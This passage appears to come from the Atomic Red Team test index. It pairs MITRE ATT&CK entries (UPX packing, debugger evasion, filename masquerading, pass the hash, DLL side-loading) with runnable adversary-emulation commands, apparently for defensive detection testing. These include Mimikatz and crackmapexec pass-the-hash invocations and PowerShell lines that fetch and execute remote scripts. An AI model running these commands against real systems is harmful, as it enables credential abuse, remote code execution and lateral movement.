          default: PathToAtomicsFolder/T1027.002/bin/darwin/test_upx
      executor:
        command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin

          '
        cleanup_command: 'rm /tmp/packed_bin

          '
        name: sh
    - name: Binary packed by UPX, with modified headers
      auto_generated_guid: 4d46e16b-5765-4046-9f25-a600d3e65e4d
      description: |
        Copies and then runs a simple binary (just outputting "the cake is a lie"), that was packed by UPX.

        The UPX magic number (`0x55505821`, "`UPX!`") was changed to (`0x4c4f5452`, "`LOTR`"). This prevents the binary from being detected
        by some methods, and especially UPX is not able to uncompress it any more.
      supported_platforms:
      - macos
      input_arguments:
        bin_path:
          description: Packed binary
          type: path
          default: PathToAtomicsFolder/T1027.002/bin/darwin/test_upx_header_changed
      executor:
        command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin

          '
        cleanup_command: 'rm /tmp/packed_bin

          '
        name: sh
  T1564.005:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04
      type: attack-pattern
      created: '2020-06-28T22:55:55.719Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1564.005
        url: https://attack.mitre.org/techniques/T1564/005
      - source_name: MalwareTech VFS Nov 2014
        url: https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html
        description: Hutchins, M. (2014, November 28). Virtual File Systems for Beginners.
          Retrieved June 22, 2020.
      - url: https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html
        description: 'Andonov, D., et al. (2015, December 7). Thriving Beyond The
          Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved
          May 13, 2016.'
        source_name: FireEye Bootkits
      - source_name: ESET ComRAT May 2020
        url: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
        description: 'Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year
          journey. Retrieved June 15, 2020.'
      - source_name: Kaspersky Equation QA
        description: 'Kaspersky Lab''s Global Research and Analysis Team. (2015, February).
          Equation Group: Questions and Answers. Retrieved December 21, 2015.'
        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf
      modified: '2021-04-29T14:49:39.188Z'
      name: Hidden File System
      description: |-
        Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)

        Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Detecting the use of a hidden file system may be exceptionally
        difficult depending on the implementation. Emphasis may be placed on detecting
        related aspects of the adversary lifecycle, such as how malware interacts
        with the hidden file system or how a hidden file system is loaded. Consider
        looking for anomalous interactions with the Registry or with a particular
        file on disk. Likewise, if the hidden file system is loaded on boot from reserved
        disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003)
        activity.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1055.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744
      type: attack-pattern
      created: '2020-01-14T01:30:41.092Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.005
        url: https://attack.mitre.org/techniques/T1055/005
      - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
        description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif
          Variant Employs Malicious TLS Callback Technique to Achieve Process Injection.
          Retrieved December 18, 2017.
        source_name: FireEye TLS Nov 2017
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      modified: '2022-04-25T14:00:00.188Z'
      name: Thread Local Storage
      description: "Adversaries may inject malicious code into processes via thread
        local storage (TLS) callbacks in order to evade process-based defenses as
        well as possibly elevate privileges. TLS callback injection is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nTLS callback injection involves manipulating pointers inside a portable
        executable (PE) to redirect a process to malicious code before reaching the
        code's legitimate entry point. TLS callbacks are normally used by the OS to
        setup and/or cleanup data used by threads. Manipulating TLS callbacks may
        be performed by allocating and writing to specific offsets within a process’
        memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055)
        techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation:
        FireEye TLS Nov 2017)\n\nRunning code in the context of another process may
        allow access to the process's memory, system/network resources, and possibly
        elevated privileges. Execution via TLS callback injection may also evade detection
        from security products since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        and those that can be used to modify memory within another process, such as
        <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for
        this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Modification'
      - 'Process: Process Access'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1622:
    technique:
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - TruKno
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391
      created: '2022-04-01T17:59:46.156Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1622
        url: https://attack.mitre.org/techniques/T1622
      - source_name: Checkpoint Dridex Jan 2021
        url: https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/
        description: 'Check Point Research. (2021, January 4). Stopping Serial Killer:
          Catching the Next Strike. Retrieved September 7, 2021.'
      - source_name: hasherezade debug
        url: https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf
        description: hasherezade. (2021, June 30). Module 3 - Understanding and countering
          malware's evasion and self-defence. Retrieved April 1, 2022.
      - source_name: AlKhaser Debug
        url: https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug
        description: Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1,
          2022.
      - source_name: wardle evilquest partii
        url: https://objective-see.com/blog/blog_0x60.html
        description: 'Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part
          ii: insidious capabilities. Retrieved March 21, 2021.'
      - source_name: ProcessHacker Github
        url: https://github.com/processhacker/processhacker
        description: ProcessHacker. (2009, October 27). Process Hacker. Retrieved
          April 11, 2022.
      - source_name: vxunderground debug
        url: https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug
        description: vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)

        Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.

        Specific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)

        Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Debugger Evasion
      x_mitre_detection: |-
        Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.

        Monitor debugger logs for signs of abnormal and potentially malicious activity.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Application Log: Application Log Content'
      - 'Command: Command Execution'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1622
    atomic_tests:
    - name: Detect a Debugger Presence in the Machine
      auto_generated_guid: 58bd8c8d-3a1a-4467-a69c-439c75469b07
      description: Detecting a running debugger process or if the debugger is attached
        to a process via PowerShell
      supported_platforms:
      - windows
      executor:
        command: "# Check for common debugger processes\n$debuggerProcesses = Get-Process
          | Where-Object { $_.ProcessName -match \"dbg\" -or $_.ProcessName -match
          \"debug\" }\n# Check for debugging flags\n$debuggingFlags = [System.Diagnostics.Debugger]::IsAttached "
        name: powershell
        elevation_required: true
  T1036.006:
    technique:
      modified: '2023-03-30T21:01:52.873Z'
      name: 'Masquerading: Space after Filename'
      description: |-
        Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.

        For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

        Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Erye Hernandez, Palo Alto Networks
      x_mitre_detection: It's not common for spaces to be at the end of filenames,
        so this is something that can easily be checked with file monitoring. From
        the user's perspective though, this is very hard to notice from within the
        Finder.app or on the command-line in Terminal.app. Processes executed from
        binaries containing non-standard extensions in the filename are suspicious.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Metadata'
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86
      created: '2020-02-10T20:47:10.082Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1036/006
        external_id: T1036.006
      - source_name: Mac Backdoors are back
        description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors
          are suddenly back. Retrieved July 8, 2017.
        url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1036.006
    atomic_tests:
    - name: Space After Filename (Manual)
      auto_generated_guid: 89a7dd26-e510-4c9f-9b15-f3bae333360f
      description: 'Space After Filename

        '
      supported_platforms:
      - macos
      executor:
        steps: "1. echo '#!/bin/bash\\necho \"print \\\"hello, world!\\\"\" | /usr/bin/python\\nexit'
          > execute.txt && chmod +x execute.txt\n\n2. mv execute.txt \"execute.txt
          \"\n\n3. ./execute.txt\\ \n"
        name: manual
    - name: Space After Filename
      auto_generated_guid: b95ce2eb-a093-4cd8-938d-5258cef656ea
      description: 'Space after filename.

        '
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        command: |
          mkdir -p /tmp/atomic-test-T1036.006
          cd /tmp/atomic-test-T1036.006
          mkdir -p 'testdirwithspaceend '
          [ "$(uname)" = 'FreeBSD' ] && /bin/echo "#\!/bin/sh" > "testdirwithspaceend /init " && echo 'echo "print(\"running T1035.006 with space after filename to masquerade init\")" | python3.9' >> "testdirwithspaceend /init " && echo "exit" >> "testdirwithspaceend /init " || /usr/bin/echo -e "%d\na\n#!/usr/bin/perl\nprint \"running T1035.006 with space after filename to masquerade init\\n\";\nqx/cp \/usr\/bin\/perl 'init  '/;\nqx/'.\/init  ' -e 'sleep 5'/;\n.\nwq\n" | ed 'testdirwithspaceend /init ' >/dev/null
          chmod +x 'testdirwithspaceend /init '
          './testdirwithspaceend /init '
        cleanup_command: rm -rf /tmp/atomic-test-T1036.006
  T1550.002:
    technique:
      modified: '2023-07-28T18:24:16.246Z'
      name: 'Use Alternate Authentication Material: Pass the Hash'
      description: |-
        Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

        When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

        Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Blake Strom, Microsoft 365 Defender
      - Travis Smith, Tripwire
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.

        Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Credential Request'
      - 'User Account: User Account Authentication'
      x_mitre_defense_bypassed:
      - System Access Controls
      type: attack-pattern
      id: attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e
      created: '2020-01-30T16:36:51.184Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1550/002
        external_id: T1550.002
      - source_name: Stealthbits Overpass-the-Hash
        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
          Attacks. Retrieved February 4, 2021.
        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1550.002
    atomic_tests:
    - name: Mimikatz Pass the Hash
      auto_generated_guid: ec23cef9-27d9-46e4-a68d-6f75f7b86908
      description: |
        Note: must dump hashes first
        [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: username
          type: string
          default: Administrator
        ntlm:
          description: ntlm hash
          type: string
          default: cc36cf7a8514893efccd3324464tkg1a
        domain:
          description: domain
          type: string
          default: "%userdnsdomain%"
        mimikatz_path:
          description: mimikatz windows executable
          type: path
          default: "%tmp%\\mimikatz\\x64\\mimikatz.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

          '
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath
          = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\"
          $basePath\n"
      executor:
        command: '#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain}
          /ntlm:#{ntlm}"

          '
        name: command_prompt
    - name: crackmapexec Pass the Hash
      auto_generated_guid: eb05b028-16c8-4ad8-adea-6f5b219da9a9
      description: 'command execute with crackmapexec

        '
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: username
          type: string
          default: Administrator
        crackmapexec_exe:
          description: crackmapexec windows executable
          type: path
          default: C:\CrackMapExecWin\crackmapexec.exe
        command:
          description: command to execute
          type: string
          default: whoami
        ntlm:
          description: command
          type: string
          default: cc36cf7a8514893efccd3324464tkg1a
        domain:
          description: domain
          type: string
          default: "%userdnsdomain%"
      dependency_executor_name: powershell
      dependencies:
      - description: 'CrackMapExec executor must exist on disk at specified location
          (#{crackmapexec_exe})

          '
        prereq_command: 'if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Automated installer not implemented yet, please
          install crackmapexec manually at this location: #{crackmapexec_exe}

          '
      executor:
        command: "#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}\n"
        name: command_prompt
    - name: Invoke-WMIExec Pass the Hash
      auto_generated_guid: f8757545-b00a-4e4e-8cfb-8cfb961ee713
      description: |-
        Use Invoke-WMIExec to Pass the Hash
        Note: must dump hashes first
        [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)
      supported_platforms:
      - windows
      input_arguments:
        ntlm:
          description: ntlm hash
          type: string
          default: cc36cf7a8514893efccd3324464tkg1a
        user_name:
          description: username
          type: string
          default: Administrator
        command:
          description: Command to run on target system
          type: string
          default: hostname
        target:
          description: System to run command on
          type: string
          default: "$env:COMPUTERNAME"
      executor:
        command: |-
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command}
        name: powershell
  T1574.002:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: DLL Side-Loading'
      description: |-
        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_deprecated: false
      x_mitre_detection: Monitor processes for unusual activity (e.g., a process that
        does not use the network begins to do so) as well as the introduction of new
        files/programs. Track DLL metadata, such as a hash, and compare DLLs that
        are loaded at process execution time against previous executions to detect
        differences that do not correlate with patching or updates.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'File: File Creation'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application Control
      type: attack-pattern
      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
      created: '2020-03-13T19:41:37.908Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/002
        external_id: T1574.002
      - source_name: FireEye DLL Side-Loading
        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1574.002
    atomic_tests:
    - name: DLL Side-Loading using the Notepad++ GUP.exe binary
      auto_generated_guid: 65526037-7079-44a9-bda1-2cb624838040
      description: |
        GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.
        Upon execution, calc.exe will be opened.
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of the created process
          type: string
          default: calculator.exe
        gup_executable:
          description: GUP is an open source signed binary used by Notepad++ for software
            updates
          type: path
          default: PathToAtomicsFolder\T1574.002\bin\GUP.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable})

          '
        prereq_command: 'if (Test-Path "#{gup_executable}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{gup_executable}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}"
      executor:
        command: '"#{gup_executable}"

          '
        cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1

          '
        name: command_prompt
    - name: DLL Side-Loading using the dotnet startup hook environment variable
      auto_generated_guid: d322cdd7-7d60-46e3-9111-648848da7c02
      description: 'Utilizing the dotnet_startup_hooks environment variable, this
        method allows for registering a global method in an assembly that will be
        executed whenever a .net core application is started. This unlocks a whole
        range of scenarios, from injecting a profiler to tweaking a static context
        in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)

        '
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of the created process
          type: string
          default: calculator.exe
        preloader_dll:
          description: library for interfacing with the dotnet framework
          type: path
          default: PathToAtomicsFolder\T1574.002\bin\preloader.dll
      dependency_executor_name: powershell
      dependencies:
      - description: ".Net SDK must be installed\n"
        prereq_command: 'if (Test-Path "C:\Program Files\dotnet\dotnet.exe") {exit
          0} else {exit 1}

          '
        get_prereq_command: |
          winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null
          echo.
      - description: 'preloader must exist

          '
        prereq_command: 'if (Test-Path "#{preloader_dll}") {exit 0} else {exit 1}

          '
        get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true"
          -OutFile "#{preloader_dll}"

          '
      executor:
        command: |
          set DOTNET_STARTUP_HOOKS="#{preloader_dll}"
          dotnet -h > nul
          echo.
        cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1

          '
        name: command_prompt
  T1216.002:
    technique:
      modified: '2024-04-18T23:51:40.464Z'
      name: SyncAppvPublishingServer
      description: "Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution
        of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands.
        SyncAppvPublishingServer.vbs is a Visual Basic script associated with how
        Windows virtualizes applications (Microsoft Application Virtualization, or
        App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications
        to users as virtual applications, allowing users to launch and interact with
        them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 -
        appv)\n    \nThe SyncAppvPublishingServer.vbs script is legitimate, may be
        signed by Microsoft, and is commonly executed from `\\System32` through the
        command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv)\n\nAdversaries
        may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        execution restrictions and evade defensive counter measures by \"living off
        the land.\"(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may
        function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation:
        7 - appv)\n\nFor example,  [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        commands may be invoked using:(Citation: 5 - appv)\n\n`SyncAppvPublishingServer.vbs
        \"n; {PowerShell}\"`"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Shaul Vilkomir-Preisman
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Script: Script Execution'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60
      created: '2024-02-06T16:20:41.647Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1216/002
        external_id: T1216.002
      - source_name: 4 - appv
        description: John Fokker. (2022, March 17). Suspected DarkHotel APT activity
          update. Retrieved February 6, 2024.
        url: https://www.trellix.com/en-ca/about/newsroom/stories/research/suspected-darkhotel-apt-activity-update/
      - source_name: 2 - appv
